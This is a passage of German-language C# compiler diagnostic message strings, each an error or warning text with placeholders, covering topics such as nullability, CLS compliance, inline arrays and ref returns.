Sie die Eigenschaft "Interoptypen einbetten" ggf. auf "False" fest. + Methoden mit Variablenargumenten sind nicht CLS-kompatibel. + "{0}": Zugriffsmodifizierer für Accessoren dürfen nur verwendet werden, wenn die Eigenschaft oder der Indexer einen get- und einen set-Accessor aufweist. + Eine Klasse oder ein Member vom Typ "dynamic" kann nicht definiert werden, weil der vom Compiler benötigte Typ "{0}" nicht gefunden wurde. Fehlt möglicherweise ein Verweis? + Der "abstract"-Modifizierer ist für Felder nicht gültig. Verwenden Sie stattdessen eine Eigenschaft. + Der Kopierkonstruktor "{0}" muss öffentlich oder geschützt sein, weil der Datensatz nicht versiegelt ist. + Schalter für booleschen Typ + Das Ergebnis des Ausdrucks ist immer NULL vom Typ "{0}". + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" entspricht nicht der Deklaration der partiellen Methode. + Das CLSCompliant-Attribut hat keine Bedeutung, wenn es auf die Rückgabetypen angewendet wird + "{0}" kann nicht in den gewünschten Delegattyp konvertiert werden, weil einige der Rückgabetypen im Block nicht implizit in den Delegatrückgabetyp konvertiert werden können. + Der XML-Kommentar für den öffentlich sichtbaren Typ oder Member "{0}" fehlt. + Der Member "{0}" implementiert den Schnittstellenmember "{1}" im Typ "{2}". Zur Laufzeit gibt es mehrere Übereinstimmungen für den Schnittstellenmember. Die aufgerufene Methode ist implementierungsabhängig. + Der Compiler gibt diese Warnung aus, wenn er einen Fehler mit einer Warnung überschreibt. Weitere Informationen zu dem Problem finden Sie, indem Sie nach dem angegebenen Fehlercode suchen. + using-Variable + Die new()-Einschränkung muss zuletzt angegeben werden. + "{0}" wird bereits in der Schnittstellenliste für den Typ "{2}" mit anderen Tupelelementnamen als "{1}" aufgeführt. + Das Argument vom Typ "{0}" kann aufgrund von Unterschieden bei der NULL-Zulässigkeit von Verweistypen nicht als Ausgabe vom Typ "{1}" für den Parameter "{2}" in "{3}" verwendet werden. + Referenzfelder + Dem Feld "{0}" wird nie etwas zugewiesen, und es hat immer seinen Standardwert von "{1}". + Der friend-Assemblyverweis "{0}" ist ungültig. Signierte Assemblys mit starkem Namen müssen in ihren InternalsVisibleTo-Deklarationen einen öffentlichen Schlüssel angeben. + Typ ist nicht CLS-kompatibel, da die Basisschnittstelle nicht CLS-kompatibel ist + Der Typ "{1}" definiert bereits einen Member namens "{0}" mit den gleichen Parametertypen. + <!-- Badly formed XML comment ignored for member "{0}" --> + Die Inlinearraystruktur darf kein explizites Layout aufweisen. + Ein anonymer Methodenblock ohne Parameterliste kann nicht in den Delegattyp "{0}" konvertiert werden, da er mindestens einen out-Parameter aufweist. + Die NULL-Zulässigkeit des Typs des Parameters "{0}" entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem überschriebenen Member. + Das "{0}"-Attribut ist nur für Methoden oder Attributklassen gültig. + Die Länge des Inlinearrays muss größer als 0 sein. + Das void-Schlüsselwort kann in diesem Kontext nicht verwendet werden. + Der switch-Ausdruck behandelt einige NULL-Eingaben nicht (er ist nicht umfassend). Das Muster "{0}" ist z. B. nicht abgedeckt. Ein Muster mit einer when-Klausel kann jedoch erfolgreich mit diesem Wert übereinstimmen. + Das Sprachfeature "Inlinearrays" wird für Inlinearraytypen mit Einem Elementfeld, das entweder ein ref-Feld ist oder einen Typ aufweist, der als Typargument ungültig ist, nicht unterstützt. + Der Namespace "{1}" enthält bereits eine Definition für "{0}". + Elemente: Dürfen nicht leer sein. + Externe lokale Funktionen + Es wurde ein Bezeichner oder ein numerisches Literal erwartet. + Der XML-Kommentar für "{1}" weist ein paramref-Tag für "{0}" auf, es gibt aber keinen Parameter mit dem Namen. + Überladbarer unärer Operator erwartet. + Gibt mittels Verweis einen Member des Parameters "{0}" zurück, bei dem es sich nicht um einen ref- oder out-Parameter handelt. + Die Suche nach nicht virtuellen Elementen in ‚{0}‘ ist nicht möglich, da es sich um einen Typparameter handelt + Ein Eigenschaftsteilmuster erfordert einen Verweis auf die abzugleichende Eigenschaft oder das abzugleichende Feld. Beispiel: "{{ Name: {0} }}" + Der in "{1}" gespeicherte Modulname "{0}" muss mit seinem Dateinamen übereinstimmen. + Ein NULL-Literal kann nicht in einen Non-Nullable-Verweistyp konvertiert werden. + Das Verwenden von "{0}" als ref- oder out-Wert bzw. das Annehmen der Adresse kann zu einer Laufzeitausnahme führen, weil es sich hierbei um ein Feld einer "Marshal by Reference"-Klasse handelt. + Die angegebene Versionszeichenfolge '{0}' entspricht nicht dem empfohlenen Format: Hauptversion.Nebenversion.Build.Revision + Gibt mittels Verweis einen Member eines Parameters zurück, bei dem es sich nicht um einen ref- oder out-Parameter handelt. + "{0}": Arrayelemente können keinen statischen Typ aufweisen. + Konstruktor + SyntaxTree ist kein Teil der Kompilierung und kann daher nicht entfernt werden. + Der Typ des bedingten Ausdrucks kann nicht bestimmt werden, weil keine implizite Konvertierung zwischen "{0}" und "{1}" erfolgt. + "{0}" ist "{1}". Eine Zuweisung ist daher nicht möglich. + Das {0}-Ereignis kann nur links von += oder -= stehen (es sei denn, es wird innerhalb des Typs "{1}" verwendet). + Die Eigenschaft oder der Indexer "{0}" kann in diesem Kontext nicht verwendet werden, da nicht auf den set-Accessor zugegriffen werden kann. + Der 'Scoped'-Modifikator des Parameters '{0}' stimmt nicht mit dem Ziel '{1}' überein. + "{0}" ist kein gültiger C#-Konvertierungsausdruck. + Das benannte {0}-Argument legt einen Parameter fest, für den bereits ein positionelles Argument angegeben wurde. + Die Methodengruppe "{0}" kann nicht in den Nichtdelegattyp "{1}" konvertiert werden. Wollten Sie die Methode aufrufen? + "/win32manifest" gilt nur für Assemblys und wird für das Modul ignoriert. + Für "foreach" muss der Rückgabetyp "{0}" von "{1}" über eine passende öffentliche MoveNext-Methode und eine öffentliche Current-Eigenschaft verfügen. + (Position des Symbols für die vorherige Warnung) + Arrayinitialisierer können nur in einer Variablen oder einem Feldinitialisierer verwendet werden. Verwenden Sie stattdessen einen new-Ausdruck. + <NULL> + <Text> + Parametereinschränkungen vom Typ "default" + Fehlende Übereinstimmung der Verweise zwischen "{0}" und dem Delegaten "{1}" + "{0}": Überschreiben nicht möglich; "{1}" ist keine Funktion. + implizit typisierte lokale Variable + Das Datensatzelement "{0}" muss eine lesbare Instanzeigenschaft oder ein Feld vom Typ "{1}" sein, um dem Positionsparameter "{2}" zu entsprechen. + "{0}" kann den Schnittstellenmember "{1}" im Typ "{2}" nicht implementieren, weil die Zielruntime die Standardschnittstellenimplementierung nicht unterstützt. + Die Inlinearraystruktur darf nur ein Instanzfeld deklarieren. + Der vordefinierte Typ "{0}" muss eine Struktur sein. + Ein Inlinearrayzugriff verfügt möglicherweise nicht über einen benannten Argumentspezifizierer. + implizit typisiertes Array + Verwenden Sie "Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier" oder "Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier" zum Erstellen von Bezeichnertoken. + Das delegate-Schlüsselwort kann nicht als Einschränkung verwendet werden. Meinten Sie „System.Delegate“? + "{0}": Der in einer using-Anweisung verwendete Typ muss implizit in "System.IDisposable" konvertierbar sein. + Unbeabsichtigter Verweisvergleich. Wandeln Sie die linke Seite in den Typ "{0}" um, um einen Wertvergleich durchzuführen. + Ungültiger Rangbezeichner: Erwartet wird "," oder "]". + Der Eigenschaftenaccessor ist bereits definiert. + Eine implizit typisierte Variable kann nicht mit einem Arrayinitialisierer initialisiert werden. + Zeilenvorschub in Konstante. + Erwartet wurde "warnings", "annotations" oder das Ende der Anweisung. + Es konnte keine Analyseinstanz erstellt werden + Der Text von "{0}" kann kein Iteratorblock sein, da "{1}" kein Iteratorschnittstellentyp ist. + Der "{0}" zugewiesene Ausdruck muss konstant sein. + Die Arraygröße kann in einer Variablendeklaration nicht angegeben werden. (Initialisieren Sie sie mit einem new-Ausdruck.) + Filterausdruck ist eine Konstante "false". + "{0}": Das abstrakte Ereignis kann keinen Initialisierer aufweisen. + Mehrere Assemblys mit äquivalenter Identität wurden importiert: "{0}" und "{1}". Entfernen Sie einen der doppelten Verweise. + "{0}": Der in einer using-Anweisung verwendete Typ muss implizit in "System.IDisposable" konvertierbar sein. Meinten Sie "await using" anstelle von "using"? + Der Typ "{1}" in "{0}" steht in Konflikt mit dem Namespace "{3}" in "{2}". + Die Eingabe stimmt immer mit dem angegebenen Muster überein. + Der Parameter "{0}" wird im Zustand des einschließenden Typs erfasst, und sein Wert wird auch zum Initialisieren eines Felds, einer Eigenschaft oder eines Ereignisses verwendet. + Das CallerLineNumberAttribute hat keine Auswirkungen, da es für ein Element gilt, das in Kontexten verwendet wird, die keine optionalen Argumente zulassen + Typ erwartet. + Die Position muss im Bereich des Syntaxbaums sein. + Modulinitialisierer + Ein Ausdrucksbaum darf keinen Initialisierer mehrdimensionaler Arrays enthalten. + Die Zielruntime unterstützt keine erweiterbaren Aufrufkonventionen oder Standardaufrufkonventionen der Runtime-Umgebung. + Das InterpolatedStringHandlerArgument hat bei Anwendung auf Lambdaparameter keine Auswirkungen und wird am Aufrufstandort ignoriert. + Schnittstellen können keine Instanzfelder enthalten. + "{0}" kann nicht als Verweis zurückgegeben werden, weil das Element mit einem Wert initialisiert wurde, der nicht als Verweis zurückgegeben werden kann. + Eine globale using-Anweisung muss allen nicht globalen using-Anweisungen vorangehen. + Unerwartetes Verwenden eines Aliasnamens. + Ein Parameterarray kann für eine Erweiterungsmethode nicht mit dem this-Modifizierer verwendet werden. + Der Aufruf von Methode "{0}" muss dynamisch gebunden werden, was jedoch nicht möglich ist, da die Methode Teil eines Basiszugriffsausdrucks ist. Wandeln Sie ggf. die dynamischen Argumente um, oder löschen Sie den Basiszugriff. + Eine automatisch implementierte Eigenschaft muss vollständig zugewiesen werden, bevor das Steuerelement an den Aufrufer zurückgegeben wird. Erwägen Sie, die Sprachversion so zu aktualisieren, dass die Eigenschaft automatisch standardmäßig festgelegt wird. + {0}: Ein Typ kann nicht gleichzeitig statisch und versiegelt sein. + Partielle Deklarationen von "{0}" müssen entweder nur Klassen, nur Datensatzklassen, nur Strukturen, nur Datensatzstrukturen oder nur Schnittstellen sein. + Erweiterung "GetEnumerator" + Der Typname „{0}“ enthält nur ASCII-Zeichen in Kleinbuchstaben. Solche Namen können möglicherweise für die Sprache reserviert werden. + Das CLS-kompatible Feld "{0}" kann nicht flüchtig sein. + Diese Version von „{0}“ kann nicht mit Auflistungsausdrücken verwendet werden. + Kontextabhängiges Schlüsselwort "equals" erwartet. + 'Syntax "id#" wird nicht mehr unterstützt. Verwenden Sie stattdessen "$id". + Die angegebene Zeile und Zeichennummer verweist nicht auf den Anfang des Tokens "{0}". Wollten Sie die Zeile "{1}" und das Zeichen "{2}" verwenden? + Der Einstiegspunkt des Programms ist globaler Code. Der Einstiegspunkt wird ignoriert. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" von "{1}" entspricht nicht dem implizit implementierten Member "{2}". + Feld wird niemals verwendet + Das Objekt "{0}" kann mehrere Male verworfen werden. + Eine Ausdrucksbaumstruktur darf keinen ==- oder !=-Tupeloperator enthalten. + "{0}" implementiert nicht den Schnittstellenmember "{1}". "{2}" kann "{1}" nicht implementieren, weil keine übereinstimmende Rückgabe als Verweis vorliegt. + "{0}" kann nicht als Modifizierer in einem Funktionszeigerparameter verwendet werden. + Auf Puffer fester Größe kann nur über lokale Variablen oder Felder zugegriffen werden. + Der XML-Kommentar für "{1}" weist ein typeparamref-Tag für "{0}" auf, es gibt aber keinen Typparameter mit dem Namen. + Einer der Parameter eines Gleichheits- oder Ungleichheitsoperators, der in der Schnittstelle '{0}' deklariert ist, muss ein Typparameter von '{0}' sein, der auf '{0}' beschränkt ist. + Rohzeichenfolgenliterale + Bedingter Ausdruck mit Zieltyp + Außerkraftsetzung des asynchronen Methoden-Generators + Innerhalb von cref-Attributen sollten geschachtelte Typen von generischen Typen qualifiziert sein + Ein Ausdrucksbaum darf keine benannte Argumentspezifikation enthalten. + Ungültiger Zieltyp für /target: Sie müssen "exe", "winexe", "library", oder "module" angeben. + Einem statischen, schreibgeschützten Feld kann nichts zugewiesen werden (außer in einem statischen Konstruktor oder einem Variableninitialisierer). + Auf den Member "{0}" kann nicht mit einem Instanzverweis zugegriffen werden. Qualifizieren Sie ihn stattdessen mit einem Typnamen. + Möglicherweise falsche Zuweisung zur lokalen Ressource, die das Argument zu einer using- oder lock-Anweisung ist. + Der erforderliche Member "{0}" darf nicht mit "ObsoleteAttribute" attributiert werden, es sei denn, der enthaltende Typ ist veraltet oder alle Konstruktoren sind veraltet. + Eine statische anonyme Funktion kann keinen Verweis auf "{0}" enthalten. + Das Steuerelement kann den Text einer finally-Klausel nicht verlassen. + Der Parameter „{0}“ wird in den Zustand des einschließenden Typs erfasst und sein Wert wird auch an den Basiskonstruktor übergeben. Der Wert kann auch von der Basisklasse erfasst werden. + Der Syntaxknoten gehört nicht zum Syntaxbaum. + By-reference-Rückgaben können nur in Methoden verwendet werden, deren Rückgabe als Verweis erfolgt. + Mögliche Nullverweisrückgabe. + Der Typ "{3}" kann nicht als Typparameter "{2}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Die NULL-Zulässigkeit des Typarguments "{3}" entspricht nicht dem Einschränkungstyp "{1}". + Der angegebene Ausdruck stimmt immer mit dem angegebenen Muster überein. + Der Typ "{0}" kann nicht als konstant deklariert werden. + Funktionszeigerwerte nicht vergleichen + Async-Methoden dürfen keinen ref-, in- oder out-Parameter enthalten. + Die Steuerung kann nicht von der abschließenden case-Bezeichnung ("{0}") aus dem switch-Ausdruck übergeben werden. + Die using-Direktive für "{0}" ist bereits vorher in diesem Namespace aufgetreten. + Die Eigenschaft, der Indexer oder das Ereignis "{0}" wird von der Sprache nicht unterstützt. Rufen Sie die {1}-Accessormethode direkt auf. + Die Eigenschaft, der Indexer oder das Ereignis "{0}" wird von der Sprache nicht unterstützt. Rufen Sie die {1}- oder {2}-Accessormethoden direkt auf. + "{0}": Benutzerdefinierte Konvertierungen in eine oder aus einer Schnittstelle sind nicht zulässig. + Verwenden Sie "refout" nicht, wenn Sie "refonly" verwenden. + Der ref-, out-, oder in-Parameter "{0}" kann nicht in einer anonymen Methode, einem Lambdaausdruck, einem Abfrageausdruck oder einer lokalen Funktion verwendet werden. + Das Ergebnis des Ausdrucks lautet immer 'null' + Fehler beim Ausgeben von Modul "{0}": {1} + throw-Ausdruck + Methode "{0}" kann Schnittstellenaccessor "{1}" für Typ "{2}" nicht implementieren. Verwenden Sie eine explizite Schnittstellenimplementierung. + Attribute lokaler Funktionen + Der Alias "{0}" steht mit der Definition "{1}" in Konflikt. + "{0}" enthält keine Definition für "{1}". + Die integrale Konstante ist zu groß. + Die Datei wurde nicht gefunden. + Eine Deklaration ist in diesem Kontext nicht zulässig. + Ein Einstiegspunkt, der "void" oder "int" zurückgibt, kann nicht asynchron sein. + XML-Kommentar besitzt ein typeparamref-Tag, es gibt jedoch keinen Typparameter mit diesem Namen + Lokaler Name ist zu lang für PDB + Das Guid-Attribut muss mit dem ComImport-Attribut angegeben werden. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" entspricht nicht dem außer Kraft gesetzten Member. + Mit "yield" kann im Text eines try-Blocks mit einer catch-Klausel kein Wert zurückgegeben werden. + Explizite Schnittstellenimplementierung stimmt mit mehreren Schnittstellenelementen überein + /main kann beim Erstellen eines Moduls oder einer Bibliothek nicht angegeben werden. + Eine Sammlung des dynamic-Typs kann in einem asynchronen foreach nicht verwendet werden. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht dem implizit implementierten Member. + Der Typ dient nur zu Testzwecken und kann in zukünftigen Aktualisierungen geändert oder entfernt werden. Unterdrücken Sie diese Diagnose, um fortzufahren. + Statische anonyme Funktion + Das Argument {0} muss mit dem Schlüsselwort (keyword) "ref" oder "in" übergeben werden. + Ein Ausdruck vom Typ "{0}" ist in einer nachfolgenden from-Klausel in einem Abfrageausdruck mit dem Quelltyp "{1}" unzulässig. Fehler beim Typrückschluss im Aufruf von "{2}". + Null-progagierender Operator + Assemblys "{0}" und "{1}" verweisen auf die gleichen Metadaten, aber nur eine ist ein verknüpfter Verweis (angegeben mit der /link-Option). Sie sollten einen der Verweise entfernen. + Covariante Rückgaben + covariant + Unerwartete Argumentliste. + Member mit dem Namen "Clone" sind in Datensätzen nicht zulässig. + Pufferfelder fester Größe dürfen nur Member von Strukturen sein. + Ein Ausdrucksbaum darf keine Tupelkonvertierung enthalten. + Die Zeile beginnt nicht mit demselben Leerraum wie die schließende Zeile des Rohzeichenfolgenliterals. + Statische abstrakte Member in Schnittstellen + Die Konfigurationsdatei "{0}" kann nicht gelesen werden: "{1}" + Durch den Aufruf des impliziten Indexindexers kann das Argument nicht benannt werden. + Async-Lambdaausdrücke können nicht in Ausdrucksbäume konvertiert werden. + Der {1}-Typparameter enthält die Einschränkung "struct". "{1}" kann daher nicht als Einschränkung für "{0}" verwendet werden. + Instanzmember in "nameof" + Der vordefinierte Typ "{0}" ist nicht definiert oder importiert. + Der Vorgang kann zur Laufzeit einen Überlauf von „{0}“ verursachen (verwenden Sie zum Überschreiben die Syntax „unchecked“) + Ein möglicher NULL-Wert darf nicht für einen mit [NotNull] oder [DisallowNull] markierten Typ verwendet werden. + Die init-Zugriffsmethode ist für statische Member ungültig. + Das Typargument kann nicht NULL sein. + Eine externe Aliasdeklaration muss allen anderen im Namespace definierten Elementen vorangehen. + Ungültige Option "{0}" für /platform. Gültige Werte sind "anycpu", "x86", "Itanium", "arm", "arm64" oder "x64". + Das Argument für das {0}-Attribut muss ein gültiger Bezeichner sein. + Verweis auf for-loop-Variablen + Das auf Parameter "{0}" angewendete CallerMemberNameAttribute hat keine Auswirkung. Es wird vom CallerFilePathAttribute überschrieben. + Auf Elemente eines Inlinearraytyps kann nur mit einem einzelnen Argument zugegriffen werden, das implizit in "int", "System.Index" oder "System.Range" konvertierbar ist. + Inkonsistenter Zugriff: Rückgabetyp "{1}" ist weniger zugreifbar als Delegat "{0}". + Das Sicherheitsattribut "{0}" kann nicht auf eine Async-Methode angewendet werden. + Assembly- und Modulattribute müssen vor allen anderen in einer Datei definierten Elementen mit Ausnahme von using-Klauseln und externen Aliasdeklarationen angegeben werden. + Der Typ kann in diesem Kontext nicht verwendet werden, da er nicht in den Metadaten dargestellt werden kann. + Aufgrund eines indirekten Assemblyverweises wurde ein Verweis zur eingebetteten Interop-Assembly erstellt + Der Strukturmember gibt "this" oder andere Instanzmember als Verweis zurück. + Der verwaltete Typ "{0}" ist nur für Felder gültig. + Das Ausgabeverzeichnis konnte nicht bestimmt werden. + Mehrzeilige Rohzeichenfolgenliterale müssen mindestens eine Inhaltszeile enthalten. + Der zweite Operand eines is- oder as-Operators darf nicht den statischen Typ "{0}" aufweisen. + Der überladene unäre Operator "{0}" nimmt einen Parameter an. + Der unsichere Typ "{0}" darf bei der Objekterstellung nicht verwendet werden. + Zeilen- und Zeichennummern, die für InterceptsLocationAttribute bereitgestellt werden, müssen positiv sein. + Der Ausdruck zur Steuerung von Schaltern muss in Klammern eingeschlossen werden. + Verwendung des nicht zugewiesenen out-Parameters "{0}". + contravariant + Der Parameter „{0}“ ist ungelesen. + Das Conditional-Attribut ist für Schnittstellenmember ungültig. + Das Ergebnis einer Unboxingkonvertierung kann nicht geändert werden. + "ref" und "out" sind in diesem Kontext nicht gültig. + Das Endtag "{0}" stimmt nicht mit dem Starttag "{1}" überein. + Die rechte Seite einer fixed-Anweisungszuweisung darf kein Umwandlungsausdruck sein. + Referenzerweiterungsmethoden + Member des schreibgeschützten Felds "{0}" können nicht geändert werden (außer in einem Konstruktor oder Variableninitialisierer). + Es wird angenommen, dass der von "{1}" verwendete Assemblyverweis "{0}" mit "{2}" von "{3}" übereinstimmt. Möglicherweise müssen Sie eine Laufzeitrichtlinie bereitstellen. + Tupeltypen, die als Operanden eines ==- oder !=-Operators verwendet werden, müssen übereinstimmende Kardinalitäten aufweisen. Dieser Operator enthält jedoch Tupeltypen der Kardinalität "{0}" auf der linken und "{1}" auf der rechten Seite. + Der SecurityAction-Wert "{0}" ist ungültig für Sicherheitsattribute, die auf eine Assembly angewendet werden. + "{0}" überschreibt die erwartete Methode von "object" nicht. + Die Bereichsvariable "{0}" verursacht einen Konflikt mit einer früheren Deklaration von "{0}". + Erweiterung "GetAsyncEnumerator" + Der Typ "{2}" muss, ebenso wie sämtliche Felder auf jeder Schachtelungsebene, ein Non-Nullable-Typ sein, wenn er als {1}-Parameter im generischen Typ oder in der generischen Methode "{0}" verwendet werden soll. + Der Typ- oder Namespacename "{0}" wurde nicht gefunden (möglicherweise fehlt eine using-Direktive oder ein Assemblyverweis). + Kontextabhängiges Schlüsselwort "on" erwartet. + Kontextabhängiges Schlüsselwort "by" erwartet. + Der Typ "{3}" kann nicht als Typparameter "{2}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Es ist keine Boxing-Konvertierung von "{3}" in "{1}" vorhanden. + Die Erweiterungsmethode muss statisch sein. + Ungültiger Rückgabetyp im cref-Attribut des XML-Kommentars. + "{0}" ist veraltet: "{1}" + Die Assembly "{0}" enthält keine Analyzer. + Der Text einer async-iterator-Methode muss eine yield-Anweisung enthalten. + covariant + Es wurde ein Verweis auf die eingebettete Interopassembly "{0}" aufgrund eines indirekten Verweises auf diese Assembly, der von Assembly "{1}" erstellt wurde, erstellt. Ändern Sie ggf. für beide Assemblys die Eigenschaft "Interoptypen einbetten". + Die Quelldatei hat das Limit von 16.707.565 Zeilen überschritten, die in der PDB dargestellt werden können. Die Debuginformationen sind falsch. + Sammlung + Verwenden Sie "System.Runtime.CompilerServices.DynamicAttribute" nicht. Verwenden Sie stattdessen das Schlüsselwort "dynamic". + "{0}" kann nicht als CLS-kompatibel markiert werden, da die Assembly kein CLSCompliant-Attribut besitzt. + Eine ref-Zuweisung von "{1}" zu "{0}" ist nicht möglich, weil "{1}" die aktuelle Methode nur über eine return-Anweisung escapen kann. + Die angegebene Sprachversion wird nicht unterstützt oder ist ungültig: "{0}". + Ausdruck oder Deklarationsanweisung erwartet. + Der Modifikator ‚Scoped‘ des Parameters ‚{0}‘ stimmt nicht mit der partiellen Methodendeklaration überein. + Für die Eigenschaft oder den Indexer "{0}" ist eine Zuweisung nicht möglich. Sie sind schreibgeschützt. + Der Rückgabetyp einer Methode, eines Delegaten oder eines Funktionszeigers kann nicht "{0}" sein. + Der Bezeichner oder ein einfacher Mitgliedszugriff wurde erwartet. + Gibt die lokale Variable "{0}" als Verweis zurück, es handelt sich jedoch nicht um eine lokale ref-Variable. + Mehrfacher Verweis auf Analysetool + Partielle Methodendeklarationen weisen eine inkonsistente NULL-Zulässigkeit in Einschränkungen für den Typparameter auf. + Inkonsistenter Zugriff: Feldtyp "{1}" ist weniger zugreifbar als Feld "{0}". + Bei Verwendung der /pdb-Option muss auch die /debug-Option verwendet werden. + 'Der angegebene Ausdruck für den 'is'-Ausdruck ist immer der angegebene Typ + Eine globale using-Anweisung kann nicht in einer Namespacedeklaration verwendet werden. + #pragma + Der Typ "{0}" muss öffentlich sein, damit er als Aufrufkonvention verwendet werden kann. + Das erforderliche Mitglied "{0}" muss festgelegt werden können. + Alle verknüpften Ressourcen und Module müssen einen eindeutigen Dateinamen haben. Der Dateiname "{0}" wurde in dieser Assembly mehrfach angegeben. + Der Aufruf System.IDisposable.Dispose() zu der zugeordneten Instanz vor allen Verweisen dazu befinden sich außerdem des zulässigen Bereichs + readonly-Modifizierer können nicht für beide Accessoren der Eigenschaft oder des Indexers "{0}" angegeben werden. Legen Sie stattdessen einen readonly-Modifizierer für die Eigenschaft selbst fest. + veraltet für Eigenschaftenaccessor + Die Interpolierte Zeichenfolgenhandlermethode "{0}" weist einen inkonsistenten Rückgabetyp auf. Es wird erwartet, dass "{1}" zurückgegeben wird. + Ein Ausdrucksbaumstruktur-Lambda darf keinen COM-Aufruf enthalten, in dem "ref" für Argumente ausgelassen wurde. + Der params-Parameter kann nicht als "{0}" deklariert werden. + Ein Typ und ein Bezeichner sind in einer foreach-Anweisung erforderlich. + Argument "{0}": Konvertierung von "{1}" in "{2}" nicht möglich. + Die Spezifikationen für benannte Argumente müssen nach Angabe aller festen Argumente aufgeführt werden. Verwenden Sie Sprachversion {0} oder höher, um nicht nachfolgende benannte Argumente zuzulassen. + Zeichenfolge muss mit Anführungszeichen beginnen: " + Die Einschränkungen für den "{0}"-Typparameter der "{1}"-Methode müssen mit den Einschränkungen für den "{2}"-Typparameter der "{3}"-Schnittstellenmethode übereinstimmen. Verwenden Sie stattdessen eine explizite Schnittstellenimplementierung. + Die Bereichsvariable "{0}" kann nicht als Verweis zurückgegeben werden. + Die NULL-Zulässigkeit von Verweistypen im Typ entspricht nicht dem implementierten Member "{0}". + Unsicherer Code wird möglicherweise nicht in Iteratoren angezeigt. + Ein Interceptor kann nicht mit "UnmanagedCallersOnlyAttribute" markiert werden. + Der typeof-Operator kann nicht für einen Verweistyp verwendet werden, der NULL-Werte zulässt. + Das __arglist-Konstrukt ist nur innerhalb einer Variablenargumentmethode gültig. + Der Typ des bedingten Ausdrucks kann nicht bestimmt werden, da "{0}" und "{1}" implizit ineinander konvertiert werden. + Ein möglicher NULL-Wert darf nicht für einen mit [NotNull] oder [DisallowNull] markierten Typ verwendet werden. + Handler einer interpolierten Zeichenfolge + 'Mit dem Tupeltyp kann "new" nicht verwendet werden. Verwenden Sie stattdessen einen literalen Tupelausdruck. + Unerwartetes Token "{0}" + Der Ausdruck muss vom Typ "{0}" sein, um dem alternativen ref-Wert zu entsprechen. + Die lokale Variable oder die lokale Funktion "{0}", die in einer Anweisung der obersten Ebene in diesem Kontext deklariert wurde, kann nicht verwendet werden. + "{0}": Vom versiegelten Typ "{1}" kann nicht abgeleitet werden. + Der ref-Modifizierer für das Argument {0}, der dem Parameter "in" entspricht, ist gleichbedeutend mit "in". Erwägen Sie stattdessen die Verwendung von "in". + "stackalloc" in geschachtelten Ausdrücken + Der Debugeinstiegspunkt muss eine Definition einer Methode sein, die in der aktuellen Kompilierung deklariert ist. + Keine definierte Sortierung zwischen Feldern in mehreren Deklarationen der partiellen Struktur. + Es wird angenommen, dass der von "{1}" verwendete Assemblyverweis "{0}" mit "{2}" von "{3}" übereinstimmt. Möglicherweise müssen Sie eine Laufzeitrichtlinie bereitstellen. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht dem implementierten Member. + Die Methodengruppe kann nicht in den Funktionszeiger konvertiert werden (fehlt ein "&"?) + Der XML-Kommentar weist ein typeparam-Tag für "{0}" auf, es gibt aber keinen Typparameter mit dem Namen. + Der Attributparameter "{0}" oder "{1}" muss angegeben werden. + Der Attributparameter "{0}" muss angegeben werden. + Ausdruckskörpermethode + Der primäre Konstruktorparameter „{0}“, der einen ref-ähnlichen Typ innerhalb eines Instanzmembers aufweist, kann nicht verwendet werden. + Das "CallerFilePathAttribute" besitzt keine Auswirkungen, weil es für einen Member gilt, der in Kontexten verwendet wird, in denen optionale Argumente unzulässig sind. + Netzmodule können nicht mithilfe von "/refout" oder "/refonly" kompiliert werden. + Der Typ "{3}" kann nicht als Typparameter "{2}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Der Typ "{3}", der NULL-Werte zulässt, entspricht nicht der Einschränkung von "{1}". Typen, die NULL-Werte zulassen, können Schnittstelleneinschränkungen nicht entsprechen. + XML-Dokument in der einbezogenen Kommentardatei weist ein ungültiges Format auf + Der Namespace "{1}" enthält eine Definition, die mit dem Alias "{0}" in Konflikt steht. + Ungültiger Assemblyname: "{0}" + Eine Ausdrucksbaumstruktur enthält "discard" unter Umständen nicht. + not-Muster + Argument should be passed with the 'in' keyword + Das Verwenden von 'is' zum Testen der Kompatibilität mit 'dynamic' entspricht im Wesentlichen dem Testen der Kompatibilität mit 'Object' + Die partielle Methode "{0}" muss einen Implementierungsteil aufweisen, weil sie Zugriffsmodifizierer verwendet. + Eine "using-Namespace"-Anweisung kann nur auf Namespaces angewendet werden. "{0}" ist ein Typ und kein Namespace. Verwenden Sie stattdessen eine "using static"-Anweisung + Member des schreibgeschützten Felds "{0}" können (außer in einem Konstruktor) nicht als ref- oder out-Wert verwendet werden. + Befehlszeilen-Syntaxfehler: Ungültiges GUID-Format "{0}" für die Option "{1}". + Verwenden Sie "_" nicht zum Verweis auf den Typ in einem is-type-Ausdruck. + Ein Standardliteral "default" ist als Muster ungültig. Verwenden Sie ggf. ein anderes Literal (z. B. 0 oder "null"). Verwenden Sie zum Abgleich aller Elemente ein discard-Muster "_". + In cref-Attributen sollten geschachtelte, generische Typen qualifiziert werden. + Das CallerLineNumberAttribute kann nur auf Parameter mit Standardwerten angewendet werden. + Das Ergebnis des Ausdrucks ist immer "{0}", da ein Wert vom Typ "{1}" niemals NULL vom Typ "{2}" ist. + Von Iteratoren kann kein Wert zurückgegeben werden. Verwenden Sie die "yield return"-Anweisung, um einen Wert zurückzugeben, oder die "yield break"-Anweisung, um die Iteration zu beenden. + Fehler beim Generieren der Quelle durch den Generator. + "disable" oder "restore" erwartet. + Die Option "{0}" muss ein absoluter Pfad sein. + Ungültige Version "{0}" für /subsystemversion. Die Version muss 6.02 oder höher für ARM oder AppContainerExe sein, andernfalls 4.00 oder höher. + Ungültiger Deklarator des Initialisierermembers. + Generische Typeneinschränkungen für Enumeration + Die pathmap-Option war falsch formatiert. + Puffer fester Größe müssen einen der folgenden Typen aufweisen: "bool", "byte", "short", "int", "long", "char", "sbyte", "ushort", "uint", "ulong", "float" oder "double". + Diese Kombination von Argumenten für "{0}" ist unzulässig, weil dadurch vom Parameter "{1}" referenzierte Variablen möglicherweise außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Der Konstantenwert 